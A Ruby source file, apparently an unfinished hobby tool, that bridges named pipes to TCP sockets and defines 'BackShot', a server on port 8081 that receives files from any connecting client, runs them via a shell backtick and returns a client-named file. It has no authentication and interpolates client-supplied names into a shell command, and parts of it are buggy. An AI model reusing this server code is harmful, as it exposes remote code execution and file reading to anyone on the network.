require 'socket'
include Socket::Constants

# A PipeSocket is an object that

def error(msg)
    puts "PipeSocket: #{msg}"
    exit 1
end

class PipeSocket
    def initialize(name, addr, port)
        @path = name
        @port = port
        @addr = addr
        if File.exist?(name)
            error("File #{name} already exists.")
        end
    end

    def connect
        puts "Opening #{@path} for read/write"
        File.mkfifo(@path)
        File.open(@path, "r+") { |pipe|
            loop do
                socket = Socket.tcp(@addr, @port)
                msg = pipe.gets
                socket.puts msg
                resp = socket.gets
                unless resp.nil?
                    puts resp.chomp
                    break if resp.chomp == "shutdown"
                end
                break if msg.chomp == "shutdown"
                socket.close
            end
        }
        puts "Closing #{@path}"
        File.delete(@path)
    end
end

#not useful?
class SocketPipe
    def initialize(name, addr, port)
        @path, @addr, @port = name, addr, port
        if File.exist?(name)
            error("File #{name} already exists.")
        end
    end

    def listen
        puts "Opening #{@path} for reading"
        File.mkfifo(@path)
        Socket.tcp_server_loop(@port) { |sock|
            msg = sock.gets
            File.open(@path, "r+") { |pipe| pipe.puts msg }
            sock.close
            break if msg.chomp == "shutdown"
        }
        puts "Closing #{@path}"
        File.delete(@path)
    end
end

# BackShot should be a server listening for
# a PipeSocket connection, which receives a 
# ruby file containing an instance of the 
# BackShot class

class BackShot
    attr_accessor :send_back
    attr_accessor :command

    @@inst = 0

    def initialize(addr, port)
        @name = "backshot#{@@inst}"
        @@inst += 1
        @addr = addr
        @port = port

        @return = nil
        @execute = nil
        
        #a channel to send back the result
    end

    def BackShot.message(msg)
        puts "BackShot: #{msg}"
    end
    
    def listen
        BackShot.message "listening on port #{@port}"
        loop do
        #hello
        Socket.tcp_server_loop(@port) { |sock| 
            msg = sock.gets
            if msg.chomp == "hello"
                sock.puts "hello"
                break
            else
                sock.puts "goodbye"
            end
            sock.close
        }

        def recv_file(filename, expected_size)
            Socket.tcp_server_loop(@port) { |sock|
                data = sock.recv(expected_size)
                File.open(filename, "w+") { |file| file.write data }
                sock.puts "ok"
                
            }
        end

        #recv files
        Socket.tcp_server_loop(@port) { |sock|
            msg = sock.gets
            if msg.start_with? "file"
                puts "file info recv"
                # file name size
                file, name, size = msg.split(" ")
                size = size.chomp
                sock.puts "ok"
                
                recv_file(name, size)
            elsif msg.start_with? "run"
                puts "run recv"
                # execute file
                exec, name = msg.split(" ")
                @execute = name
                sock.puts "ok"
                #sock.close
            elsif msg.start_with? "return"
                puts "return recv"
                ret, name = msg.split(" ")
                @return = name
                if @execute == nil
                    sock.puts "error"
                   # sock.close
                    break
                end
                `./#{@execute}`
                sock.write File.read(@return)
                msg = sock.gets
                if msg.chomp == "thanks"
                    @execute = nil
                    #sock.close
                    break
                end
            else
                sock.puts "what"
                #sock.close
            end
        }
        end
    end
end

bs = BackShot.new "127.0.0.1", 8081
bs.listen